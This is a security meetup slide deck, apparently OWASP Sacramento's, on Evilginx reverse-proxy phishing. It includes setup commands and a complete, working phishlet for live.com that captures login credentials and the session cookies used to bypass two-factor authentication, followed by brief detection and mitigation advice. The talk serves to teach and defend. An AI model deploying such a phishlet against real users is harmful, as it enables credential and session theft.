Modern Phishing Techniques and Evilginx Framework
Meeting Starts at 7:05PM
In the meantime, checkout https://granitecity.io
OWASP Sacramento
May
2023
Agenda
1)
Food & Drinks
2)
Community topics……
3)
Modern Phishing with Evilginx2/3
Being at Granite City means you’re part of an engaging, inviting and supportive ecosystem. It means you’re in
the company of like-minded and exciting professionals. It means you’ve joined a place to grow your business
and be supported in the process.
All memberships include:
✔
High-speed & secure wi-fi
✔
Access to printer/copier/scanner
✔
Invites to exclusive member-only
social events and programs
✔
Use of our community kitchen
✔
Locally roasted craft coffee served
hot and ready until 3pm
Private Office & what you’ll get:
✔
24/7 Access
✔
Digital Key Access
✔
2 hours of free meeting room space
per month (Town Hall or Gallery
Coworking & what you’ll get:
✔
Part-Time Membership
– 4 days per
month access
✔
Weekdays
– 8:30am-5pm Monday –
Friday access, digital key entry, 2
hours of free meeting space per
month (Gallery)
✔
Full Time
– 24/7 access, digital key
access, 2 hours of free meeting space
per month (Gallery)
O
W
A
S
P
S
a
c
r
a
m
e
n
t
o
C
h
a
p
t
e
r
Community stuff
E
v
i
l
g
i
n
x
Reverse-proxy phishing framework able to bypass MFA [
1
]
P
h
i
s
h
i
n
g
:
A
B
r
i
e
f
H
i
s
t
o
r
y
1996
The Technique is Borne
According to Internet records, the
first time that the term “phishing”
was used and recorded was on
January 2, 1996. The mention
occurred in a Usenet newsgroup
called
AOHell
.
2020’s
Cat and Mouse Games
Phishing is still VERY effective,
and Phishing as a service is now
even a thing.
Direct financial loss
from successful
phishing
increased by 76% in 2022.
https://www.phishing.org
/history-of-phishing
MITRE ATT&CK: Phishing
T1566
MITRE ATT&CK: Phishing Link
T1566.002
+
MITRE ATT&CK: Steal Application Access Token
T1528
MITRE ATT&CK: Man-in-the-Middle
T1557
MITRE ATT&CK: Two-Factor Auth Interception
T1111
M
o
d
e
r
n
P
h
i
s
h
i
n
g
:
E
v
i
l
g
i
n
x
E
v
i
l
g
i
n
x
i
s
a
m
a
n
-
i
n
-
t
h
e
-
m
i
d
d
l
e
a
t
t
a
c
k
f
r
a
m
e
w
o
r
k
u
s
e
d
f
o
r
p
h
i
s
h
i
n
g
l
o
g
i
n
c
r
e
d
e
n
t
i
a
l
s
a
l
o
n
g
w
i
t
h
s
e
s
s
i
o
n
c
o
o
k
i
e
s
,
w
h
i
c
h
i
n
t
u
r
n
a
l
l
o
w
s
a
t
t
a
c
k
e
r
s
t
o
b
y
p
a
s
s
2
-
f
a
c
t
o
r
a
u
t
h
e
n
t
i
c
a
t
i
o
n
p
r
o
t
e
c
t
i
o
n
o
f
m
a
n
y
f
o
r
m
s
.
V
e
r
s
i
o
n
3
R
e
l
e
a
s
e
d
M
a
y
1
0
t
h
2
0
2
3
(
C
o
m
m
u
n
i
t
y
a
n
d
P
r
o
V
e
r
s
i
o
n
s
n
o
w
a
v
a
i
l
a
b
l
e
)
●
HTTP client/server to provide man-in-the-middle functionality to act as a proxy between a browser
and phished website.
●
Implements its own DNS server.
●
Utilizes LetsEncrypt for TLS certs and manages them for you.
●
Does contain known signatures for Blue Teams, can be removed. Version 3 signatures TBD?
●
FIDO2 will protect you as it’s domain specific.
●
Operationalizing it takes creativity, speed, and contains many other small nuances.
GitHub Project:
https://github.com/kgretzky/evilginx2
E
v
i
l
g
i
n
x
:
P
r
i
m
a
r
y
C
o
m
p
o
n
e
n
t
s
●
C
o
n
f
i
g
:
J
S
O
N
f
i
l
e
t
h
a
t
c
a
n
b
e
p
r
e
c
o
n
f
i
g
u
r
e
d
t
o
a
i
d
i
n
a
u
t
o
m
a
t
e
d
d
e
p
l
o
y
m
e
n
t
s
●
P
h
i
s
h
l
e
t
s
:
Y
A
M
L
t
e
m
p
l
a
t
e
s
f
o
r
s
p
e
c
i
f
i
c
t
a
r
g
e
t
w
e
b
s
i
t
e
s
.
E
x
:
O
3
6
5
,
L
i
n
k
e
d
I
n
,
e
t
c
.
●
L
u
r
e
s
:
P
r
e
-
g
e
n
e
r
a
t
e
d
p
h
i
s
h
i
n
g
l
i
n
k
s
t
o
s
e
n
d
t
o
v
i
c
t
i
m
s
,
c
r
e
a
t
e
d
f
r
o
m
a
P
h
i
s
h
l
e
t
.
●
R
e
d
i
r
e
c
t
o
r
s
:
W
e
b
s
i
t
e
s
,
a
c
t
i
n
g
a
s
a
l
a
n
d
i
n
g
p
a
g
e
s
t
o
y
o
u
r
p
h
i
s
h
i
n
g
l
i
n
k
s
.
●
S
e
s
s
i
o
n
s
:
C
a
p
t
u
r
e
d
c
r
e
d
e
n
t
i
a
l
s
a
n
d
s
e
s
s
i
o
n
c
o
o
k
i
e
s
f
r
o
m
v
i
c
t
i
m
i
n
t
e
r
a
c
t
i
o
n
s
.
●
P
r
o
x
y
:
O
u
t
b
o
u
n
d
t
r
a
f
f
i
c
p
r
o
x
y
f
o
r
d
e
v
p
u
r
p
o
s
e
s
t
o
t
o
o
b
s
c
u
r
e
i
n
f
r
a
s
t
r
u
c
t
u
r
e
I
P
.
●
B
l
a
c
k
l
i
s
t
:
B
l
a
c
k
s
c
a
n
n
e
r
s
b
y
I
P
,
d
e
f
a
u
l
t
s
t
o
a
d
d
i
n
g
a
n
y
r
e
q
u
e
s
t
n
o
t
m
a
d
e
t
o
a
s
p
e
c
i
f
i
c
L
u
r
e
U
R
L
.
E
v
i
l
g
i
n
x
:
E
x
a
m
p
l
e
A
t
t
a
c
k
F
l
o
w
E
v
i
l
g
i
n
x
:
B
a
s
i
c
S
e
t
u
p
No IOC Removal, no proxy configuration, not part of another toolkit, etc.
1.
Install Dependencies
a.
sudo apt install net-tools golang-go make
1.
Clone the repository
a.
git clone https://github.com/kgretzky/evilginx2.git
Demo Server
Digital Ocean Ubuntu 22.10 VPS
$6/month
E
v
i
l
g
i
n
x
:
B
a
s
i
c
S
e
t
u
p
C
o
n
t
.
No IOC Removal, no proxy configuration, not part of another toolkit, etc.
Configure DNS (free up port 53)
a.
sudo systemctl stop systemd-resolved
b.
Modify
/etc/systemd/resolved.conf
i.
DNS=8.8.8.8 # or whomever else
ii.
DNSStubListener=no #make sure line uncommented
c.
sudo systemctl start systemd-resolved
d.
Set @ record and name servers as seen in images.
Build Evilginx
a.
cd ./evilginx2
b.
make
c.
mv ./build/evilginx ../
Install is over at this point, and you need a phishlet to use…
E
v
i
l
g
i
n
x
:
P
h
i
s
h
l
e
t
P
h
i
l
o
s
o
p
h
y
My main goal has always been to deliver a reverse proxy
phishing framework for red teamers. The provided example
phishlets were always meant to serve as a learning material to
learn how to make your own phishlets. Keeping them updated,
was honestly an impossible feat…
Phishlets get outdated and stop working relatively fast and I
always wanted to focus on developing the framework, rather then
keeping the example phishlets constantly up-to-date. I encourage
everyone to set up their own repositories with phishlets they want
to share with the community. My priority now is to put effort into
teaching people
how to create their own phishlets
.
-
kgretzky
Important Notes:
●
The author’s course is $433.40, while fair this is a
barrier for many.
●
Free information on phishlet development is
generally still very limited.
●
Phishlets for popular sites/apps are often sold
privately rather than published online.
E
v
i
l
g
i
n
x
:
P
h
i
s
h
l
e
t
F
o
r
m
a
t
●
p
r
o
x
y
_
h
o
s
t
s
:
T
h
e
p
r
o
x
y
_
h
o
s
t
s
p
a
r
a
m
e
t
e
r
i
n
d
i
c
a
t
e
s
w
h
i
c
h
d
o
m
a
i
n
s
a
n
d
s
u
b
d
o
m
a
i
n
s
t
h
a
t
E
v
i
l
g
i
n
x
w
i
l
l
p
r
o
x
y
b
e
t
w
e
e
n
t
h
e
r
e
a
l
s
e
r
v
e
r
a
n
d
e
n
d
u
s
e
r
●
p
h
i
s
h
_
s
u
b
:
T
h
e
p
h
i
s
h
_
s
u
b
p
a
r
a
m
e
t
e
r
i
n
d
i
c
a
t
e
s
w
h
i
c
h
s
u
b
d
o
m
a
i
n
t
o
b
e
u
s
e
d
f
o
r
t
h
e
p
h
i
s
h
i
n
g
h
o
s
t
n
a
m
e
●
s
u
b
_
f
i
l
t
e
r
s
:
T
h
e
s
u
b
_
f
i
l
t
e
r
s
p
a
r
a
m
e
t
e
r
i
s
u
s
e
d
t
o
i
n
d
i
c
a
t
e
t
h
e
s
t
r
i
n
g
s
u
b
s
t
i
t
u
t
i
o
n
f
i
l
t
e
r
s
f
o
r
d
y
n
a
m
i
c
c
o
n
t
e
n
t
b
e
i
n
g
p
r
o
x
i
e
d
●
a
u
t
h
_
t
o
k
e
n
s
:
T
h
e
a
u
t
h
_
t
o
k
e
n
s
i
n
d
i
c
a
t
e
s
w
h
i
c
h
c
o
o
k
i
e
s
a
r
e
t
o
b
e
c
a
p
t
u
r
e
d
i
n
t
h
e
p
r
o
x
i
e
d
r
e
s
p
o
n
s
e
●
c
r
e
d
e
n
t
i
a
l
s
:
T
h
e
c
r
e
d
e
n
t
i
a
l
s
p
a
r
a
m
e
t
e
r
i
n
d
i
c
a
t
e
s
t
h
e
p
a
r
a
m
e
t
e
r
s
s
h
o
u
l
d
b
e
c
a
p
t
u
r
e
d
i
n
t
h
e
P
O
S
T
r
e
q
u
e
s
t
s
●
a
u
t
h
_
u
r
l
s
:
T
h
e
a
u
t
h
_
u
r
l
s
p
a
r
a
m
e
t
e
r
s
p
e
c
i
f
i
e
s
a
U
R
L
t
h
a
t
s
h
o
u
l
d
b
e
a
v
a
i
l
a
b
l
e
o
n
c
e
a
u
s
e
r
i
s
f
u
l
l
y
a
u
t
h
e
n
t
i
c
a
t
e
d
w
h
i
c
h
w
o
u
l
d
i
n
d
i
c
a
t
e
t
h
e
a
u
t
h
e
n
t
i
c
a
t
i
o
n
i
s
c
o
m
p
l
e
t
e
●
l
o
g
i
n
:
T
h
e
l
o
g
i
n
p
a
r
a
m
e
t
e
r
i
n
d
i
c
a
t
e
s
w
h
e
r
e
t
h
e
l
o
c
a
t
i
o
n
o
f
t
h
e
p
h
i
s
h
i
n
g
l
a
n
d
i
n
g
p
a
g
e
●
j
s
_
i
n
j
e
c
t
:
T
h
i
s
s
e
c
t
i
o
n
d
e
f
i
n
e
s
a
l
l
J
a
v
a
s
c
r
i
p
t
s
c
r
i
p
t
s
t
h
a
t
y
o
u
w
a
n
t
t
o
i
n
j
e
c
t
i
n
t
o
p
r
o
x
i
e
d
p
a
g
e
s
.
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
The concept creating a phishlet is simple. Proxy the traffic during the login
process with a tool such as BurpSuite or OWASP ZAP, determine the requests
made, and create the appropriate phishlet as per Evilginx’s documentation…
In practice this can be quite difficult depending on the complexity of the
application you’re writing a phishlet for.
The steps are roughly this.
1.
Determine all relevant subdomains and include them under
proxy_hosts
2.
Add @ records to your registrar to proxy subdomains determined in the
previous step.
3.
Implement logic to parse for auth_tokens
4.
Add auth_urls if auth_tokens are gathered through generic regular
expressions.
5.
Implement logic to parse credentials from POST request.
6.
Add force post for “keep me signed in” (probably).
7.
Add login domain and path parameters.
8.
Bang head if additional protection mechanisms exist, and iterate the
steps above.
9.
Profit.
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
BurpSuite results for live.com’s
login flow.
Relevant domains in order of
appearance.
●
login.live.com
●
logincdn.msauth.net
●
account.live.com
●
account.microsoft.com
●
login.microsoftonline.com
●
www.microsoft.com
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
Once we’ve captured the login flow, we can analyze it and create
proxy_host
entries for the list of relevant subdomains
discovered. By including the
auto_filter: true
flag, we can hopefully avoid defining many additional
sub_filters
manually (version 3 FTW!)
author: '@d0n601'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: true, auto_filter: true} - {phish_sub: 'cdn', orig_sub: 'logincdn', domain: 'msauth.net', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'microsoft', orig_sub: 'account', domain: 'microsoft.com', session: false, is_landing: false, auto_filter:true}
- {phish_sub: 'login.microsoftonline', orig_sub: 'login', domain: 'microsoftonline.com', session: false, is_landing: false,auto_filter: true}
- {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true}E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
Now we @ records for the
phish_sub
entries seen in the
previous slide
These are subdomains of the
phishlet’s host.
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
In order to complete the
auth_tokens
entries, I’d recommend exporting the
cookies of a successful login session using
a browser plugin such as
cookie editor
. You can then define each one by
name, or use a regular expression to catch dynamically generated values.
In the case of live.com, through trial and error we can determine the only
two cookies we need to bypass 2-FA are the following.
auth_tokens:
- domain: '.login.live.com'
keys: ['SDIDC','JSHP']
type: 'cookie'
JSON dump of cookies for live.com…look at what we need
and catch them.
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
In order to complete the
credentials
entries, we
can find the POST request containing our
creds, and create queries for the username
and password variables we see passed to the
service.
credentials:
username:
key: 'login'
search: '(.*)'
type: 'post'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
Putting all the pieces together, our new phishlet for live.com will look like this,
author: '@d0n601'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: true, auto_filter: true} - {phish_sub: 'cdn', orig_sub: 'logincdn', domain: 'msauth.net', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'microsoft', orig_sub: 'account', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true} - {phish_sub: 'login.microsoftonline', orig_sub: 'login', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true} - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true}auth_tokens:
- domain: '.login.live.com'
keys: ['SDIDC','JSHP']
type: 'cookie'
credentials:
username:
key: 'login'
search: '(.*)'
type: 'post'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
force_post:
- path: '/ppsecure/post.srf'
search:
- {key: 'login', search: '.*'}- {key: 'passwd', search: '.*'}force:
- {key: 'KMSI', value: 'on'}type: 'post'
login:
domain: 'login.live.com'
path: 'login.srf'
Save this under the
evilginx2/phishlets/
directory. In this example we’ll call it
owasp2.yaml
Note: Version 3 allows a phishlet to be created in 33 lines. In version two a
similar
phishlet
took 101 lines. Many of these are subfilters.
https://github.com/d0n601/Evilginx3-Phishlet-Playground
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
Set the hostname of the
phishlet, and then enable it.
E
v
i
l
g
i
n
x
:
C
r
e
a
t
i
n
g
a
P
h
i
s
h
l
e
t
Create a lure to use with
the phishlet, give it a
proper redirect_url to go to,
and then get the phishing
link.
M
o
d
e
r
n
P
h
i
s
h
i
n
g
w
i
t
h
E
v
i
l
g
i
n
x
D
E
M
O
M
o
d
e
r
n
P
h
i
s
h
i
n
g
w
i
t
h
E
v
i
l
g
i
n
x
E
v
i
l
g
i
n
x
:
M
i
t
i
g
a
t
i
o
n
s
D
e
t
e
c
t
i
o
n
s
1.
Certificate transparency can reveal phishing
subdomains pretty clearly, as seen here.
a.
https://crt.sh/?q=blackhatmail.live
1.
X-Evilginx HTTP header (if not removed)
a.
IOC’s present in Evilginx2, not sure if or
where they’re at in Evilginx3 yet.
M
i
t
i
g
a
t
i
o
n
s
1.
Passwordless options (certificate-based auth,
Hello For Business, etc), FIDO2 security keys.
E
v
i
l
g
i
n
x
:
F
u
r
t
h
e
r
R
e
a
d
i
n
g
●
Evilginx Documentation
●
3.0 Release Blog Post
●
Evilginx3 on GitHub
●
Phishlet Repo for this presentation.
●
Evilginx2 with IOC’s Removed
●
Evilginx2 with IOC’s Removed again, commit diff helps visualise
●
An0nUD4Y’s Evilginx2 Phishlet repository
(archived as of this week)
●
EvilGoPhish
a phishing toolkit which includes Evilginx2, among other things.
●
Catching Transparent Phish: Analyzing and Detecting MITM Phishing Toolkits
OWASP Community
Next Meeting:
June
21
st
from 7PM-9PM (same location)
Call for Presentations:
June
and
July
(same location)
If you’d like to present (or know someone else who would) at
the OWASP Sacramento Chapter’s upcoming meetings, please email us
your topic.
You don’t need to be an expert!
Joubin:
joubin.jabbari@owasp.org
Ryan:
ryan.kozak@owasp.org
Explore the evolution of phishing from its inception to modern-day strategies like Evilginx, a man-in-the-middle attack framework. Learn about the effectiveness of phishing, its impact on financial losses, and how Evilginx bypasses multi-factor authentication to capture sensitive information. Dive into the OWASP Sacramento community, discover the engaging ecosystem at Granite City, and get insights on combating phishing attacks in today's digital landscape.
Download Presentation
Please find below an Image/Link to download the presentation.
The content on the website is provided AS IS for your information and personal use only. It may not be sold, licensed, or shared on other websites without obtaining consent from the author. Download presentation by click this link. If you encounter any issues during the download, it is possible that the publisher has removed the file from their server.
E N D
Presentation Transcript
TM Meeting Starts at 7:05PM In the meantime, checkout https://granitecity.io
OWASP Sacramento May 2023 OWASP FOUNDATION TM
Agenda 1) Food & Drinks 2)Community topics 3) Modern Phishing with Evilginx2/3 owasp.org OWASP FOUNDATION
Being at Granite City means youre part of an engaging, inviting and supportive ecosystem. It means youre in the company of like-minded and exciting professionals. It means you ve joined a place to grow your business and be supported in the process. All memberships include: Private Office & what you ll get: Coworking & what you ll get: Access to printer/copier/scanner Invites to exclusive member-only social events and programs Use of our community kitchen Locally roasted craft coffee served hot and ready until 3pm Digital Key Access 2 hours of free meeting room space per month (Town Hall or Gallery Part-Time Membership 4 days per month access High-speed & secure wi-fi 24/7 Access Weekdays 8:30am-5pm Monday Friday access, digital key entry, 2 hours of free meeting space per month (Gallery) Full Time 24/7 access, digital key access, 2 hours of free meeting space per month (Gallery) owasp.org OWASP FOUNDATION
OWASP Sacramento Chapter Community stuff owasp.org OWASP FOUNDATION
Evilginx Reverse-proxy phishing framework able to bypass MFA [1] owasp.org OWASP FOUNDATION
Phishing: A Brief History MITRE ATT&CK: Phishing T1566 MITRE ATT&CK: Phishing Link T1566.002 + MITRE ATT&CK: Steal Application Access Token T1528 MITRE ATT&CK: Man-in-the-Middle T1557 MITRE ATT&CK: Two-Factor Auth Interception T1111 https://www.phishing.org /history-of-phishing The Technique is Borne Broad Adoption of HTTPS Cat and Mouse Games According to Internet records, the first time that the term phishing was used and recorded was on January 2, 1996. The mention occurred in a Usenet newsgroup called AOHell. Phishermen begin implementing HTTPS via services like LetsEncrypt and victims who were taught to check for the lock symbol in their browser were given a sense of false security. Phishing is still VERY effective, and Phishing as a service is now even a thing. Direct financial loss from successful phishing increased by 76% in 2022. 2000 s 2017 1996 2010 s 2020 s The Phishing Continues Evilginx is released Between May 2004 and May 2005, about 1.2 million users in the U.S. suffer losses caused by phishing, totaling approximately $929 million. Custom version of Nginx HTTP server to provide MITM functionality, acting as a proxy between a browser and phished website. Defeats many implementations of Multifactor Authentication by capturing session tokens. owasp.org OWASP FOUNDATION
Modern Phishing: Evilginx Evilginx is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows attackers to bypass 2-factor authentication protection of many forms. Version 3 Released May 10th2023 (Community and Pro Versions now available) HTTP client/server to provide man-in-the-middle functionality to act as a proxy between a browser and phished website. Implements its own DNS server. Utilizes LetsEncrypt for TLS certs and manages them for you. Does contain known signatures for Blue Teams, can be removed. Version 3 signatures TBD? FIDO2 will protect you as it s domain specific. Operationalizing it takes creativity, speed, and contains many other small nuances. GitHub Project: https://github.com/kgretzky/evilginx2 owasp.org OWASP FOUNDATION
Evilginx: Primary Components Config: JSON file that can be preconfigured to aid in automated deployments Phishlets: YAML templates for specific target websites. Ex: O365, LinkedIn, etc. Lures: Pre-generated phishing links to send to victims, created from a Phishlet. Redirectors: Websites, acting as a landing pages to your phishing links. Sessions: Captured credentials and session cookies from victim interactions. Proxy: Outbound traffic proxy for dev purposes to to obscure infrastructure IP. Blacklist: Black scanners by IP, defaults to adding any request not made to a specific Lure URL. owasp.org OWASP FOUNDATION
Evilginx: Example Attack Flow owasp.org OWASP FOUNDATION
Evilginx: Basic Setup No IOC Removal, no proxy configuration, not part of another toolkit, etc. Demo Server Digital Ocean Ubuntu 22.10 VPS $6/month 1. Install Dependencies a. sudo apt install net-tools golang-go make 1. Clone the repository a. git clone https://github.com/kgretzky/evilginx2.git owasp.org OWASP FOUNDATION
Evilginx: Basic Setup Cont. No IOC Removal, no proxy configuration, not part of another toolkit, etc. Configure DNS (free up port 53) a. sudo systemctl stop systemd-resolved b. Modify /etc/systemd/resolved.conf i. DNS=8.8.8.8 # or whomever else ii.DNSStubListener=no #make sure line uncommented c. sudo systemctl start systemd-resolved d. Set @ record and name servers as seen in images. Build Evilginx a. cd ./evilginx2 b. make c. mv ./build/evilginx ../ Install is over at this point, and you need a phishlet to use owasp.org OWASP FOUNDATION
Evilginx: Phishlet Philosophy My main goal has always been to deliver a reverse proxy phishing framework for red teamers. The provided example phishlets were always meant to serve as a learning material to learn how to make your own phishlets. Keeping them updated, was honestly an impossible feat Important Notes: Phishlets get outdated and stop working relatively fast and I always wanted to focus on developing the framework, rather then keeping the example phishlets constantly up-to-date. I encourage everyone to set up their own repositories with phishlets they want to share with the community. My priority now is to put effort into teaching people how to create their own phishlets. The author s course is $433.40, while fair this is a barrier for many. Free information on phishlet development is generally still very limited. -kgretzky Phishlets for popular sites/apps are often sold privately rather than published online. owasp.org OWASP FOUNDATION
Evilginx: Phishlet Format proxy_hosts: The proxy_hosts parameter indicates which domains and subdomains that Evilginx will proxy between the real server and end user phish_sub: The phish_sub parameter indicates which subdomain to be used for the phishing hostname sub_filters: The sub_filters parameter is used to indicate the string substitution filters for dynamic content being proxied auth_tokens: The auth_tokens indicates which cookies are to be captured in the proxied response credentials: The credentials parameter indicates the parameters should be captured in the POST requests auth_urls: The auth_urls parameter specifies a URL that should be available once a user is fully authenticated which would indicate the authentication is complete login: The login parameter indicates where the location of the phishing landing page js_inject: This section defines all Javascript scripts that you want to inject into proxied pages. owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet The concept creating a phishlet is simple. Proxy the traffic during the login process with a tool such as BurpSuite or OWASP ZAP, determine the requests made, and create the appropriate phishlet as per Evilginx s documentation In practice this can be quite difficult depending on the complexity of the application you re writing a phishlet for. The steps are roughly this. 1. Determine all relevant subdomains and include them under proxy_hosts 2. Add @ records to your registrar to proxy subdomains determined in the previous step. 3. Implement logic to parse for auth_tokens 4. Add auth_urls if auth_tokens are gathered through generic regular expressions. 5. Implement logic to parse credentials from POST request. 6. Add force post for keep me signed in (probably). 7. Add login domain and path parameters. 8. Bang head if additional protection mechanisms exist, and iterate the steps above. 9. Profit. owasp.org OWASP FOUNDATION
owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet BurpSuite results for live.com s login flow. Relevant domains in order of appearance. login.live.com logincdn.msauth.net account.live.com account.microsoft.com login.microsoftonline.com www.microsoft.com owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet Once we ve captured the login flow, we can analyze it and create proxy_host entries for the list of relevant subdomains discovered. By including the auto_filter: true flag, we can hopefully avoid defining many additional sub_filters manually (version 3 FTW!) author: '@d0n601' min_ver: '3.0.0' proxy_hosts: - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: true, auto_filter: true} - {phish_sub: 'cdn', orig_sub: 'logincdn', domain: 'msauth.net', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'microsoft', orig_sub: 'account', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true} - {phish_sub: 'login.microsoftonline', orig_sub: 'login', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true} - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true} owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet Now we @ records for the phish_sub entries seen in the previous slide These are subdomains of the phishlet s host. owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet In order to complete the auth_tokens entries, I d recommend exporting the cookies of a successful login session using a browser plugin such as cookie editor. You can then define each one by name, or use a regular expression to catch dynamically generated values. In the case of live.com, through trial and error we can determine the only two cookies we need to bypass 2-FA are the following. auth_tokens: - domain: '.login.live.com' keys: ['SDIDC','JSHP'] type: 'cookie' JSON dump of cookies for live.com look at what we need and catch them. owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet In order to complete the credentials entries, we can find the POST request containing our creds, and create queries for the username and password variables we see passed to the service. credentials: username: key: 'login' search: '(.*)' type: 'post' password: key: 'passwd' search: '(.*)' type: 'post' owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet Putting all the pieces together, our new phishlet for live.com will look like this, author: '@d0n601' min_ver: '3.0.0' proxy_hosts: - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: true, auto_filter: true} - {phish_sub: 'cdn', orig_sub: 'logincdn', domain: 'msauth.net', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: true, is_landing: false, auto_filter: true} - {phish_sub: 'microsoft', orig_sub: 'account', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true} - {phish_sub: 'login.microsoftonline', orig_sub: 'login', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true} - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true} auth_tokens: - domain: '.login.live.com' keys: ['SDIDC','JSHP'] type: 'cookie' credentials: username: key: 'login' search: '(.*)' type: 'post' password: key: 'passwd' search: '(.*)' type: 'post' force_post: - path: '/ppsecure/post.srf' search: - {key: 'login', search: '.*'} - {key: 'passwd', search: '.*'} force: - {key: 'KMSI', value: 'on'} type: 'post' login: domain: 'login.live.com' path: 'login.srf' Save this under the evilginx2/phishlets/ directory. In this example we ll call it owasp2.yaml Note: Version 3 allows a phishlet to be created in 33 lines. In version two a similar phishlet took 101 lines. Many of these are subfilters. https://github.com/d0n601/Evilginx3-Phishlet-Playground owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet Set the hostname of the phishlet, and then enable it. owasp.org OWASP FOUNDATION
Evilginx: Creating a Phishlet Create a lure to use with the phishlet, give it a proper redirect_url to go to, and then get the phishing link. owasp.org OWASP FOUNDATION
Modern Phishing with Evilginx DEMO owasp.org OWASP FOUNDATION
owasp.org OWASP FOUNDATION
Modern Phishing with Evilginx owasp.org OWASP FOUNDATION
Evilginx: Mitigations Detections Certificate transparency can reveal phishing subdomains pretty clearly, as seen here. a. https://crt.sh/?q=blackhatmail.live 1. 1. X-Evilginx HTTP header (if not removed) a. IOC s present in Evilginx2, not sure if or where they re at in Evilginx3 yet. Mitigations 1. Passwordless options (certificate-based auth, Hello For Business, etc), FIDO2 security keys. owasp.org OWASP FOUNDATION
Evilginx: Further Reading Evilginx Documentation 3.0 Release Blog Post Evilginx3 on GitHub Phishlet Repo for this presentation. Evilginx2 with IOC s Removed Evilginx2 with IOC s Removed again, commit diff helps visualise An0nUD4Y s Evilginx2 Phishlet repository (archived as of this week) EvilGoPhish a phishing toolkit which includes Evilginx2, among other things. Catching Transparent Phish: Analyzing and Detecting MITM Phishing Toolkits owasp.org OWASP FOUNDATION
OWASP Community Next Meeting: June 21stfrom 7PM-9PM (same location) Call for Presentations: June and July (same location) If you d like to present (or know someone else who would) at the OWASP Sacramento Chapter s upcoming meetings, please email us your topic. You don t need to be an expert! Joubin: joubin.jabbari@owasp.org Ryan: ryan.kozak@owasp.org owasp.org OWASP FOUNDATION
